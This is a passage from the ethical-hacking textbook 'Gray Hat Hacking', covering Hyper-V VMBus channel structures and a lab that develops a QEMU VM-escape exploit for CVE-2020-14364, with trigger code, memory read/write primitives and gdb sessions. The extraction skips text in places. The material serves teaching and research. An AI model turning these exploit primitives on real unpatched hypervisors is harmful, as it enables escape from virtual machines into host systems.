'msgtype' / c.Int32ul,❶
'padding' / c.Const(0, c.Int32ul)
)
VmbusChannelInitiateContact = c.Struct(
'hdr' / VmbusChannelMessageHeader,
'vmbus_version_requested' / c.Int32ul,❷
'target_vcpu' / c.Int32ul,❸
'msg_sint' / c.Int8ul,❹
'padding' / c.Bytes(7),
'monitor_page1' / c.Int64ul,❺
'monitor_page2' / c.Int64ul❻
)
All VMBus messages start with the same message header containing the message
type ❶. In this case, msgtype will be 14. The next field contains a VMBus version ❷. In
general, we should start with the highest version possible and iterate by lowering versions
(sending multiple initiate messages) until we succeed. In our case, we will send a single
message requesting a version that should work in our setup. Next, we have the target
virtual processor ❸ (messages are sent to the SynIC of that processor) and the SINTx ❹
(we will use SINT2).
Finally, we can supply the GPAs of two “monitor” pages. These can be used by some
devices for fast notifications; we will set them but won’t use them. The first page ❺ is used
for child-to-parent (root partition) notifications, and the second ❻ for parent-to-child
notifications.
If negotiation succeeds, we receive a “version response” message in the SIMP slot of
the SINTx we supplied. Keep in mind that if we don’t set the SINTx polling mode, we
might get an interrupt to the vector we assigned to it when unmasking SINTx (so we
would need an appropriate IDT handler for it). All messages sent by the parent are going
Chapter 25: Inside Hyper-V
533
to the SINTx supplied in the “initiate contact” request. The “version response” layout is
as follows:
VmbusChannelVersionResponse = c.Struct(
'hdr' / VmbusChannelMessageHeader,
'version_supported' / c.Int8ul,
'connection_state' / c.Int8ul,
'padding' / c.Int16ul,
'msg_conn_id' / c.Int32ul❶
)
We are interested in the connection ID field ❶. We will replace our previous connec-
tion ID (4) with the one we receive here.
Requesting Offers
To discover which devices are present on the VMBus, we send a “request offers”
(msgtype 3) message, which is just a VmbusChannelMessageHeader.
After sending the message, we will receive multiple “offer channel” (msgtype 1)
messages, finalizing with an “all offers delivered” (msgtype 4) message. The layout of an
“offer channel” is as follows:
VmbusChannelOffer = c.Struct(
'if_type' / UUID,❺
'if_instance' / UUID,❻
'reserved1' / c.Int64ul,
'reserved2' / c.Int64ul,
'chn_flags' / c.Int16ul,
'mmio_megabytes' / c.Int16ul,
'user_def' / c.Bytes(120),
'sub_channel_index' / c.Int16ul,
'reserved3' / c.Int16ul
PART V
)
VmbusChannelOfferChannel = c.Struct(
'hdr' / VmbusChannelMessageHeader,
'offer' / VmbusChannelOffer,
'child_relid' / c.Int32ul,❶
'monitorid' / c.Int8ul,❸
'monitor_allocated' / c.Int8ul,❷
'is_dedicated_interrupt' / c.Int16ul,
'connection_id' / c.Int32ul❹
)
Opening a Channel
Establishing communication with one of the offered devices involves two steps. First, we
send a list of guest page frame numbers (GPFNs) describing the memory range(s) that
we will share with the host. Second, we split this region into two ring-buffers: one for
receiving and the other for transmitting.
Memory sharing between the guest and host (or more precisely, between the child
partition and the parent partition) is achieved by creating a Guest Physical Address
Descriptor List (GPADL). If you have ever worked with Windows memory descriptor
lists (MDLs),11 the principle is the same: create a contiguous buffer from noncontiguous
physical memory. In the case of GPADLs, we send GPFNs (the host will translate them
to their respective SPFNs).
Chapter 25: Inside Hyper-V
535
We create a GPADL from a sequence of “GPA ranges,” and each range is encoded in
the following way:
GPARange = c.Struct(
'byte_count' / c.Int32ul,❶
'byte_offset' / c.Int32ul,❷
'pfn_array' / c.Array(
lambda t: ceil((t.byte_count + t.byte_offset) / 4096), c.Int64ul)❸
)
def gpa_range(address, size):❹
start_pfn = address >> 12
end_pfn = (address + size) >> 12
return {
'byte_count': size,
'byte_offset': address & 0xfff,
'pfn_array': range(start_pfn, end_pfn)
}
A GPA range is a variable-size structure, starting with the range size in bytes ❶ and
followed by an offset ❷ (in bytes, relative to the first memory page). The rest of the struc-
ture is a list of GPFNs ❸ representing the memory range. The number of list elements
should match with the number of pages required given the range size and start offset.
Since our framework uses a 1:1 memory mapping model, we will just use physically
contiguous pages. Given a base address and size arguments, the gpa_range ❹ function
returns a GPA range.
To create a GPADL, we send a “GPADL header” request (msgtype 8) with a list of
GPA ranges. We encode this message in the following way:
def gpa_range_size(range_list):❻
return len(b''.join(map(GPARange.build, range_list)))
PART V
VmbusChannelGPADLHeader = c.Struct(
'hdr' / VmbusChannelMessageHeader,
'child_relid' / c.Int32ul,❶
'gpadl' / c.Int32ul,❷
'range_buflen' / c.Rebuild(
c.Int16ul, lambda t: gpa_range_size(t.range)),❺
'rangecount' / c.Rebuild(c.Int16ul, c.len_(c.this.range)),❹
'range' / c.Array(c.this.rangecount, GPARange),❸
)
After the message header, we have the child_relid ❶ field. We supply the value
obtained from the same field of the offer message of the device we want to communicate
with. The gpadl ❷ field is set to a value of our choice; it will be used to identify the
GPADL. At the end of the message we have the sequence of GPA ranges ❸. The number
of elements in this sequence is set in rangecount ❹, and the total size (in bytes) of this
sequence in range_buflen ❺. The gpa_range_size ❻ function calculates this size by
encoding the range’s list.
When the buffer we want to create is small enough, it will fit in a single “GPADL
header” message; however, it could be the case that the number of PFNs and/or ranges
required to represent larger buffers won’t fit in a single message (the message size used
by HvCallPostMessage is limited to 240 bytes). In such cases, we split the contents of
Gray Hat Hacking: The Ethical Hacker’s Handbook
536
the “range” field into chunks to fit this size. The first chunk is sent with the “GPADL
header” and the rest of them in a series of “GPADL body” messages (msgtype 9).
A “GPADL body” message contains a header followed by a chunk. The header encod-
ing is as follows:
VmbusChannelGPADLBody = c.Struct(
'hdr' / VmbusChannelMessageHeader,
'msgnumber' / c.Int32ul,❶
'gpadl' / c.Int32ul❷
)
The msgnumber ❶ field identifies the chunk we are sending (we increment this value
for every chunk we send), and the gpadl ❷ field is set to the same value we used in the
GPADL header message.
After we send the GPADL header, and (optionally) one or more GPADL body mes-
sages, we are notified of the GPADL creation with a “GPADL created” (msgtype 10)
response. The layout of this message is as follows:
VmbusChannelGPADLCreated = c.Struct(
'hdr' / VmbusChannelMessageHeader,
'child_relid' / c.Int32ul,❶
'gpadl' / c.Int32ul,❷
'creation_status' / c.Int32ul❸
)
The child_relid ❶ and gpadl ❷ fields contain the same values we supplied, and
creation_status ❸ should be zero.
Finally, to set up the ring-buffers, we send an “open channel” (msgtype 5) request.
The layout of this message is as follows:
VmbusChannelOpenChannel = c.Struct(
'hdr' / VmbusChannelMessageHeader,
'child_relid' / c.Int32ul,❶
'openid' / c.Int32ul,❷
'ringbuffer_gpadl' / c.Int32ul,❸
'target_vp' / c.Int32ul,❺
'downstream_offset' / c.Int32ul,❹
'user_data' / c.Bytes(120),❻
)
As usual, child_relid ❶ is set to the same value as the child_relid field of the offer.
We set openid ❷ to a value of our choice, and we pass the identifier of our newly created
GPADL to ringbuffer_gpadl ❸. In downstream_offset ❹, we pass an offset (in pages)
that will split this buffer in two ring-buffers. We will set the target virtual processor ❺
and user_data ❻ to zero.
If the request succeeds, we get an “open channel result” (msgtype 6) reply:
VmbusChannelOpenResult = c.Struct(
'hdr' / VmbusChannelMessageHeader,
'child_relid' / c.Int32ul,❶
'openid' / c.Int32ul,❷
'status' / c.Int32ul,❸
)
Chapter 25: Inside Hyper-V
537
The child_relid ❶ and openid ❷ fields contain the same values we supplied, and
status ❸ should be zero. At this point, we can communicate with the device through the
two ring-buffers.
Ring-Buffer Communication
We have a shared buffer created from a GPADL that was split into two ring-buffers: the
first is for transmitting and the second is for receiving. The transmitting ring-buffer starts
at the GPADL’s first GPFN and ends at the GPFN located downstream_offset entries
later (as we supplied in the “open channel” request). The receiving ring-buffer starts at
the end of the transmitting buffer and ends at the last GPFN of the GPADL.
The actual data to transmit (or receive) starts at the second page of each ring-buffer.
The first page of each ring-buffer contains a structure with the ring-buffer’s state:
RingBuffer = c.Struct(
'write_index' / c.Int32ul,❶
'read_index' / c.Int32ul,❷
'interrupt_mask' / c.Int32ul,
'pending_send_sz' / c.Int32ul,
'reserved' / c.Bytes(48),
'feature_bits' / c.Int32ul
)
Additional (reserved) fields might follow the ones from this structure, and these are
further followed by padding bytes to fill the page. For basic use, we only need to care
PART V
about write_index ❶ and read_index ❷; the rest of the structure can be left zeroed. Both
indexes represent an offset in bytes from the start of the ring-buffer data area (4,096 bytes
after the ring-buffer state).
When data is written into the ring-buffer, write_index is incremented by the length
of the data; if the increment is larger than the ring-buffer size, the index is wrapped
around. If write_index is larger than the read_index, the space left in the ring-buffer
is the ring-buffer size minus write_index, plus read_index. If write_index is less than
read_index, the space left is read_index minus write_index. When data is read from the
ring-buffer, read_index is incremented in the same fashion.
If read_index and write_index are equal, the ring-buffer is either empty or full,
depending on the situation (either read_index reaching write_index or write_index
reaching read_index). When this happens, we should notify the host, which can be done
by calling HvCallSignalEvent using the connection ID field of the offer corresponding to
the device we are communicating with and the event flag zero.
Data is encapsulated in “packets” containing a header with the information needed to
identify and read the whole packet, regardless of its inner layout:
class PacketType(Enum):❷
VM_PKT_INVALID = 0
VM_PKT_SYNCH = 1
VM_PKT_ADD_XFER_PAGESET = 2
VM_PKT_RM_XFER_PAGESET = 3
Gray Hat Hacking: The Ethical Hacker’s Handbook
538
VM_PKT_ESTABLISH_GPADL = 4
VM_PKT_TEARDOWN_GPADL = 5
VM_PKT_DATA_INBAND = 6❸
VM_PKT_DATA_USING_XFER_PAGES = 7
VM_PKT_DATA_USING_GPADL = 8
VM_PKT_DATA_USING_GPA_DIRECT = 9
VM_PKT_CANCEL_REQUEST = 10
VM_PKT_COMP = 11❼
VM_PKT_DATA_USING_ADDITIONAL_PKT = 12
VM_PKT_ADDITIONAL_DATA = 13
PacketHeader = c.Struct(
'type' / c.Int16ul,❶
'offset8' / c.Int16ul,❹
'len8' / c.Int16ul,❺
'flags' / c.Int16ul,❻
'trans_id' / c.Int64ul❽
)
The type ❶ field is one of the values defined in PacketType ❷; the most common is
VM_PKT_DATA_INBAND ❸. In offset8 ❹, we have the offset (in 8-byte blocks, from
the start of the header) of the next header and, in len8 ❺, we have the packet’s total size
(in 8-byte blocks, including the packet header). The flags ❻ field is usually zero, but in
some cases it is set to one to indicate that a VM_PKT_COMP ❼ should be sent by the
receiver. The transaction identifier ❽ is a value of our choice when we send a request; if
we are responding to a request, we should set the same value as in the request.
Packets are padded to an 8-byte boundary, and each packet ends with an 8-byte trailer
(not included in len8 calculation).
VMBus devices implement their own protocols, but they all share this same basic
transport. For space reasons, we won’t discuss the different protocol implementations;
however, a sample script is included (GHHv6/ch25/labs/time_sync.py) that connects to
the Time Synch integration component and displays the host’s time. The script makes
use of the GHHv6/ch25/labs/vmbus.py module to open a channel and communicate
through ring-buffers.
Summary
This chapter started with an overview of Hyper-V’s architecture. Then we covered para-
virtualization features specific to Hyper-V, including functionality implemented in the
VMM (synthetic MSRs, SynIC, and hypercalls) and in the root partition (VMBus).
References
1. “Hypervisor-protected Code Integrity enablement,” https://docs.microsoft.com/
en-us/windows-hardware/design/device-experiences/oem-hvci-enablement.
2. “How Windows Defender Credential Guard works,” https://docs.microsoft.com/
en-us/windows/security/identity-protection/credential-guard/credential-guard-
how-it-works.
3. “Microsoft Defender Application Guard overview,” https://docs.microsoft.com/
en-us/windows/security/threat-protection/microsoft-defender-application-guard/
md-app-guard-overview.
4. “Microsoft Hyper-V Bounty Program,” www.microsoft.com/en-us/msrc/bounty-
PART V
hyper-v.
5. “HyperFuzzer: An Efficient Hybrid Fuzzer for Virtual CPUs,” www.microsoft.com/
en-us/research/publication/hyperfuzzer-an-efficient-hybrid-fuzzer-for-virtual-cpus/.
6. “Hyper-V Integration Services,” https://docs.microsoft.com/en-us/virtualization/
hyper-v-on-windows/reference/integration-services.
7. “Universally unique identifier,” https://en.wikipedia.org/wiki/Universally_unique_
identifier.
8. “Make your own integration services,” https://docs.microsoft.com/en-us/
virtualization/hyper-v-on-windows/user-guide/make-integration-service.
9. “HV_PARTITION_PRIVILEGE_MASK,” https://docs.microsoft.com/en-us/
virtualization/hyper-v-on-windows/tlfs/datatypes/hv_partition_privilege_mask.
10. “Hypervisor Top-Level Functional Specification,” https://docs.microsoft.com/
en-us/virtualization/hyper-v-on-windows/reference/tlfs.
11. “Using MDLs,” https://docs.microsoft.com/en-us/windows-hardware/drivers/
kernel/using-mdls.
This page intentionally left blank
Hacking Hypervisors
Case Study
CHAPTER
26
In this chapter, we cover the following topics:
• Root cause analysis of a device emulation vulnerability in QEMU
• USB and EHCI basics
• Development of a VM escape exploit for a user-mode worker process (QEMU)
In this chapter, we will analyze and exploit CVE-2020-14364, 1 by Xiao Wei and Ziming
Zhang, in QEMU’s USB emulation code. It is a simple and reliable vulnerability, which
makes it a great case study. Hypervisors such as KVM and Xen use QEMU as their
worker process component, so when we target QEMU, we will be performing user-
mode exploitation.
This chapter assumes that on your host you are using a Linux installation with KVM
virtualization enabled and that you have a working install of Docker. All the code from
this chapter is available at GitHub:
$ git clone https://github.com/GrayHatHacking/GHHv6.git
A Dockerfile includes the environment and all the tools used in this chapter. All the
code and examples in this chapter should be executed from within the Docker container.
The KVM device in the host must be passed through to the Docker container:
$ cd GHHv6/ch26/
$ docker build -t kali .
$ docker run --device=/dev/kvm --network host -it kali bash
Once inside the Docker container, the code can be found inside the /labs directory.
Bug Analysis
We need to start with an introduction to the Universal Serial Bus (USB). We’ll discuss
just the minimum required to understand the affected code. After this introduction, we’ll
take a look at the commit that fixes the issue and perform a root cause analysis of the bug.
541
Gray Hat Hacking: The Ethical Hacker’s Handbook
542
USB Basics
A USB system is composed of a host connected to one or more USB devices. The host
contains the USB software, a USB host controller, and an embedded root hub. A hub
is a special class of USB device that provides attachment points known as ports. A USB
device can be either a hub or a function. Another kind of device, known as a compound
device, can package a hub and several functions in a single unit. Devices are connected
in a tiered star topology with an imposed maximum of seven tiers to prevent circular
connections. The first tier starts at the host’s root hub, forming a tree-like configuration;
however, from the logical point of view of the host, all devices look like they were directly
connected to the root hub.
Endpoints
USB devices have a collection of endpoints with specific data transfer characteristics
(among these is the data flow direction). Each endpoint has a unique identification
number called the endpoint number. All USB devices must implement a default control
method called endpoint zero. This endpoint is composed of two (one input, one output)
endpoints assigned to the same endpoint number (zero). Endpoint zero is always accessi-
ble, and it is used to initialize or manipulate the device through the default control pipe.
Pipes
Pipes are used to move data between the host and a device’s endpoint. There are two
kinds of pipes: stream pipes and message pipes (the default control pipe is a message
pipe). Message pipes are bidirectional; they assign a single endpoint number for both
input and output endpoints. Unlike stream pipes, data transmission in message pipes
follows some USB-defined structure based on control transfers.
Control Transfers
Control transfers can be used to configure a device, send commands to it, or query its
status. A control transfer can be classified in three types: control read, control write, and
no-data control. Control reads and control writes have three stages: the setup stage, data
stage, and status stage. In a no-data control, there is only the setup stage and status stage.
The setup stage involves a setup transaction, which is initiated by the host to indicate the
type of control access the function (device) should perform. The data stage involves one
or more data transactions in the direction assigned by the setup transaction. The status
stage is used to report the result of a previous setup/data stage.
Chapter 26: Hacking Hypervisors Case Study
543
Packets
A transaction involves the interchange of packets between host and a function. A packet
contains a group of fields; here are some important ones:
• PID Contains the packet type and a check code that is a complement of the
packet type.
• Function address In our case, we are only concerned about the default
address zero.
• Endpoint address In our case, we will use the endpoint zero.
• Data Contains 0 to 1024 bytes of data; each byte has its least significant bit
(LSB) shifted one position from the next byte.
• Token CRC For SETUP, IN, and OUT packet types, this field is a 5-bit cyclic
redundancy check (CRC) computed from the function and endpoint address fields.
• Data CRC A 16-bit CRC of the data field.
Which fields are present in a particular packet depend on their packet type (encoded
in the PID field). A packet type falls into any of the following groups:
• Token Includes the OUT, IN, SOF, and SETUP packet types. These packets
contain the following fields: PID, function address, endpoint address, and
token CRC.
• Data Includes the DATA0, DATA1, DATA2, and MDATA packet types. Data
packets include a PID field, followed by a variable number (0 to 1024) of data
bytes, and the data CRC field.
PART V
• Handshake Includes the ACK, NAK, STALL, and NYET packet types. These
packets contain only the PID field.
• Special Includes the PRE, ERR, SPLIT, PING, and RESERVED types.
Control transfers (and their stages) can be described in terms of the packets inter-
changed between the host and the function in the following way:
• The setup stage consists of one setup transaction. In the setup transaction, the host
sends a SETUP packet followed by a DATA0 packet. On success, the function
replies with an ACK packet.
• The data stage involves one or more data transactions in the direction assigned by
the setup stage. In a data transaction, if the control transfer is a control write, the
host sends an OUT packet followed by a DATAx (DATA1 or DATA0) packet.
In a control read, the host sends an IN packet and receives a DATAx packet from
the function. The receiver of the DATAx packet must send an ACK on success or
otherwise reject it with a NAK or STALL.
Gray Hat Hacking: The Ethical Hacker’s Handbook
544
• The final status stage consists of a status transaction. If the control transfer is a
control read, the status stage begins with the host sending an OUT and a zero-
length DATA1 packet. If the command was completed, the function replies with
an ACK. If the function is still busy, it must reply with a NAK, and if there was
an error, it replies with a STALL. In a control write, the host sends an IN packet
and the function replies with zero-length DATA1. On success, the host replies
with an ACK or otherwise with a NAK/STALL.
Standard Requests
Standard requests can be sent to a device over the default control pipe, and they begin
with a SETUP packet containing an 8-byte data field. This data field encodes the follow-
ing parameters:
Let’s find the commit that fixed this CVE in QEMU’s repository. To do this, we can use
GitHub’s REST API2 and search for commits containing “CVE-2020-14364” in their
description. The jq3 tool can be used to parse and filter the resulting JSON, displaying
only the information we need: the commit URL and the commit message.
┌──(root ghh6)-[/]
└─# curl -s -H "Accept: application/vnd.github.cloak-preview+json" https://
api.github.com/search/commits?q=repo:qemu/qemu+CVE-2020-14364 | jq '.items[0].
commit | .url + "\n" + .message' -r
https://api.github.com/repos/qemu/qemu/git/commits/
b946434f2659a182afc17e155be6791ebfb302eb
usb: fix setup_len init (CVE-2020-14364)
Store calculated setup_len in a local variable, verify it, and only write it to
the struct (USBDevice->setup_len) in case it passed the sanity checks.
Chapter 26: Hacking Hypervisors Case Study
545
This prevents other code (do_token_{in,out} functions specifically)from working
with invalid USBDevice->setup_len values and overrunning the
USBDevice->setup_buf[] buffer.
Now that we have the commit URL, we can perform another query and get the code
changed:
┌──(root ghh6)-[/]
└─# curl -s -H "Accept: application/vnd.github.groot-preview+json" https://api.
github.com/repos/qemu/qemu/commits/b946434f2659a182afc17e155be6791ebfb302eb | jq
.files[0].patch -r | colordiff
@@ -129,6 +129,7 @@ void usb_wakeup(USBEndpoint *ep, unsigned int stream)
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;
+ unsigned int setup_len;
if (p->iov.size != 8) {
p->status = USB_RET_STALL;
@@ -138,14 +139,15 @@ static void do_token_setup(USBDevice *s, USBPacket *p)
usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
- s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];❶
- if (s->setup_len > sizeof(s->data_buf)) {
+ setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];❷
+ if (setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
- s->setup_len, sizeof(s->data_buf));
+ setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
Return;
}
+ s->setup_len = setup_len;
PART V
request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
Developing a Trigger
Now with a basic understanding of the issue, we can start working first on a trigger and
then on a full working exploit. We will make use of our own tools, based on the frame-
work developed in Chapter 24. The advantage of using our framework is that we avoid
the extra software layers of a general-purpose operating system (OS). This way, we can
test and debug our code with more ease, thus shortening the exploit development time.
After our framework-based exploit is working, it could be ported to any particular OS.
NOTE All source files from this chapter can be found under the /labs
directory inside the Docker container.
class Guest(guest.Guest):
debugger = 'gdbserver 127.0.0.1:2345'
stderr = True
def __enter__(self):
self.proc = Popen(
(f'exec {self.debugger} qemu-system-x86_64 '
'-display none -boot d -cdrom kernel_bios.iso '
'-m 300M -serial stdio -enable-kvm '
'-device usb-ehci,id=ehci '
'-device usb-mouse,bus=ehci.0'
),
stdin=PIPE, stdout=PIPE,
stderr={True: None, False: DEVNULL}[self.stderr],
shell=True
)
return self
Chapter 26: Hacking Hypervisors Case Study
547
With this new setup, the Enhanced Host Controller Interface (EHCI) controller should
be present in the guest’s PCI bus. We can verify it with the pci.py module included in our
framework. This module injects code to scan the PCI bus after our guest’s kernel boots:
┌──(root ghh6)-[/]
└─# cd /labs; python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from qemu_guest import Guest
>>> from pci import Session
>>> Guest.debugger = ''
>>> Session(Guest).run()
... omitted for brevity …
00:04:00: USB (EHCI)
BAR MEM-space : 0xfebf1000❹ size: 0x1000
BAR MEM-space : 0x0 size: 0x0
BAR MEM-space : 0x0 size: 0x0
vendor_id : 0xe000
device_id : 0x40
command : 0x107
status : 0x0
revision_id : 0x10
prog_if : 0x20❸
subclass : 0x3❷
class_code : 0xc❶
NOTE Our new base class is now called Session, and generalizes on the
PART V
Fuzzer class we implemented in Chapter 24.
The EHCI controller has class-code 0x0c ❶, subclass 0x03 ❷, and interface (prog_if)
0x20 ❸. BAR0 points to the base of the EHCI register space at address 0xfebf1000 ❹.
case SETUP_STATE_DATA:❸
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;❷
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);❶
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
PART V
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
default:
p->status = USB_RET_STALL;
}
}
If we send a SETUP packet containing a valid wLength, this can lead to a code path
that sets s->setup_state to SETUP_STATE_DATA ❶. This means that the buffer over-
flow can be triggered by sending two consecutive SETUP packets (with the first one
containing a valid wLength) and one OUT packet.
The actual copy operation is performed by usb_packet_copy (/qemu/hw/usb/core.c).
If we take a closer look at this function, we can see that the copy direction is determined
by the packet’s PID:
void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes)
{
QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;
class Trigger(ehci.Session):
retry_exceptions = False
timeout = 0
if __name__ == "__main__":
Trigger(Guest).run()
The first SETUP ❶ packet (valid length) causes s->state to be set with
SETUP_STATE_DATA, and the second SETUP ❷ packet corrupts s->setup_len to
overflow_len. The OUT ❸ packet writes the contents of data to s->data_buf and
overflows it by 32 bytes.
PART V
Lab 26-3: Running the Trigger
Let’s see in the debugger how the trigger overflows the buffer:
┌──(root ghh6)-[/labs]
└─# python3 trigger.py &
[2] 1089
┌──(root ghh6)-[/labs]
└─# gdb -q
(gdb) set pagination off
(gdb) handle SIGUSR1 nostop noprint
Signal Stop Print Pass to program Description
SIGUSR1 No No Yes User defined signal 1
(gdb) target remote localhost:2345
...omitted for brevity…
0x00007f8b7d70e090 in _start () from target:/lib64/ld-linux-x86-64.so.2
(gdb) b usb_packet_copy if bytes == 0x1020❶
Breakpoint 1 at 0x560776e4c6a5: file /qemu/hw/usb/core.c, line 588.
(gdb) c
...omitted for brevity…
Thread 1 "qemu-system-x86" hit Breakpoint 1, usb_packet_copy
(p=0x560779903630,
ptr=0x56077a66509c, bytes=4128) at /qemu/hw/usb/core.c:588
588 QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;
(gdb) finish❷
Gray Hat Hacking: The Ethical Hacker’s Handbook
552
Run till exit from #0 usb_packet_copy (p=0x560779903630, ptr=0x56077a66509c,
bytes=4128) at /qemu/hw/usb/core.c:588
do_token_out (s=0x56077a664fb0, p=0x560779903630) at /qemu/hw/usb/core.c:244
244 s->setup_index += len;
(gdb) x/4gx &s->data_buf[4096]❸
0x56077a66609c: 0xffffffffffffffff 0xffffffffffffffff
0x56077a6660ac: 0xffffffffffffffff 0xffffffffffffffff
Exploitation
This section covers all the steps required to fully exploit this vulnerability. We will start
from the previous trigger code and will iteratively build more advanced primitives until
finally getting code execution via a ret2lib technique.
The full working exploit code can be found in qemu_xpl.py. To manipulate C struc-
tures with ease, a CStruct class is provided in cstruct.py. This is a customized subclass of
construct.Struct that provides C-like alignment and offset information for struct fields.
By controlling s->setup_index, we can turn the buffer overflow into a ±2GB relative
write from the address of s->data_buf. Based on our trigger_overflow method, we can
build the relative_write primitive in the following way (/labs/qemu_xpl.py):
def overflow_data(self):
return CStruct(
'remote_wakeup' / c.Int32sl,
'setup_state' / c.Int32sl,
'setup_len' / c.Int32sl,
'setup_index' / c.Int32sl
)
Chapter 26: Hacking Hypervisors Case Study
553
def overflow_build(self, overflow_len, setup_len, setup_index):❶
return self.overflow_data().build({
'remote_wakeup': 0,
'setup_state': 2, # SETUP_STATE_DATA
'setup_len': setup_len,
'setup_index': setup_index – overflow_len❷
})
First, we have the helper method overflow_build ❶ to build the binary data needed
to smash s->setup_len and s->setup_index. The overflow_len argument is required
to adjust s->setup_index ❷, which is incremented after the call to usb_packet_copy.
Our relative_write ❸ primitive takes a relative offset to s->data_buf (either positive or
negative) and the data (IOVector) to write.
PART V
switch(s->setup_state) {
...omitted for brevity…
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {❷
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);❶
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
Let’s use the debugger to see how the state corruption is achieved:
┌──(root ghh6)-[/labs]
└─# nohup python3 qemu_xpl.py 2> /dev/null &
[1] 328
┌──(root ghh6)-[/labs]
└─# gdb -q
(gdb) set pagination off
(gdb) handle SIGUSR1 nostop noprint
Signal Stop Print Pass to program Description
SIGUSR1 No No Yes User defined signal 1
(gdb) target remote localhost:2345
0x00007f2c37c67090 in _start () from target:/lib64/ld-linux-x86-64.so.2
(gdb) b usb_packet_copy if bytes > 0x1000
Breakpoint 1 at 0x5613f085e6a5: file /qemu/hw/usb/core.c, line 588.
(gdb) c
Continuing.
...omitted…
Thread 1 "qemu-system-x86" hit Breakpoint 1, usb_packet_copy
(p=0x5613f28eb630,
ptr=0x5613f364d09c, bytes=4112) at /qemu/hw/usb/core.c:588
588 QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;
(gdb) finish
Run till exit from #0 usb_packet_copy (p=0x5613f28eb630, ptr=0x5613f364d09c,
bytes=4112) at /qemu/hw/usb/core.c:588
do_token_out (s=0x5613f364cfb0, p=0x5613f28eb630) at /qemu/hw/usb/core.c:244
Chapter 26: Hacking Hypervisors Case Study
555
244 s->setup_index += len;
(gdb) print s->setup_state
$1 = 2
(gdb) print s->setup_len
$2 = 4112❶
(gdb) print s->setup_index
$3 = -4120❷
(gdb) c
Continuing.
Thread 1 "qemu-system-x86" hit Breakpoint 1, usb_packet_copy
(p=0x5613f28eb630,
ptr=0x5613f364d094, bytes=4120) at /qemu/hw/usb/core.c:588
588 QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;
(gdb) finish
Run till exit from #0 usb_packet_copy (p=0x5613f28eb630, ptr=0x5613f364d094,
bytes=4120) at /qemu/hw/usb/core.c:588
do_token_out (s=0x5613f364cfb0, p=0x5613f28eb630) at /qemu/hw/usb/core.c:244
244 s->setup_index += len;
(gdb) print s->setup_len
$4 = 5364
(gdb) print s->setup_index
$5 = -4356
(gdb) print s->setup_buf[0]
$6 = 128 '\200'❸
TIP Use GDB to test and examine all exploit primitives and display the
contents of USBDevice in the same way we just did here.
In the debugging session, we can see that the buffer overflow is used to set
s->setup_len ❶ to 0x1010 bytes and s->setup_index ❷ to -0x1018, which, after
adding the length, is -8 (that’s the start of s->setup_buf). Then the arbitrary write sets
PART V
s->setup_len and s->setup_index with the actual length and offset we want to read
from, but also sets s->setup_buf[0] ❸ to 0x80 (USB_DIR_IN), so now we can send
an IN packet to read data.
Arbitrary Read
To turn the relative read into an arbitrary read, we need the address of s->data_buf.
We can obtain the address of s (USBDevice) from the device field of the endpoint zero
structure (USBEndpoint) at s->ep_ctl. This structure is defined in /qemu/include/
hw/usb.h:
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
QTAILQ_HEAD(, USBPacket) queue;
};
Gray Hat Hacking: The Ethical Hacker’s Handbook
556
If we leak the whole USBDevice structure (in the future, we will need more from this
structure), we can use s->ep_ctl.dev to calculate s->data_buf. The very first thing our
exploit will do is to leak this structure (/labs/qemu_xpl.py):
def on_boot(self, body):
super().on_boot(body)
self.port_reset()
self.usb_dev = USBDevice.parse(
self.relative_read(
USBDevice.data_buf._offset * -1,
USBDevice.sizeof()
))
The method addr_of ❶ is used to resolve the absolute address of any field belonging
to USBDevice, so at arbitrary_read_near ❷ we use it to get the address of s->data_buf.
Keep in mind that this primitive is still limited to a ±2GB range. That’s why the method’s
name includes the “near” suffix.
PART V
self.usb_out(IOVector([Chunk(data)]))
The auxiliary method descr_build ❶ takes a list of addresses and produces a linked
list of USBDescString elements, and each element ❷ has an index number assigned to a
particular address. The second argument (start_addr) is an address inside s->data_buf.
The new leak_multiple ❸ primitive builds this linked list and overwrites s->strings
❹ with the address of the list’s head. The linked list starts at &s->data_buf[256],
leaving the first 256 bytes of the buffer free for the contents returned by desc_string.
Finally, desc_string is repeatedly called for every index number ❺ associated to one
list’s addresses to leak.
top_addr = addr_list[-1]
┌──(root ghh6)-[/labs]
└─# python3 trigger.py &
[2] 558
┌──(root ghh6)-[/labs]
└─# gdb -q
(gdb) set pagination off
(gdb) handle SIGUSR1 nostop noprint
Signal Stop Print Pass to program Description
SIGUSR1 No No Yes User defined signal 1
(gdb) target remote localhost:2345
…
0x00007f019d703090 in _start () from target:/lib64/ld-linux-x86-64.so.2
(gdb) b do_token_out if s->setup_len > 0x1000
Breakpoint 1 at 0x56545d7c96b9: file /qemu/hw/usb/core.c, line 225.
(gdb) c
Continuing.
…
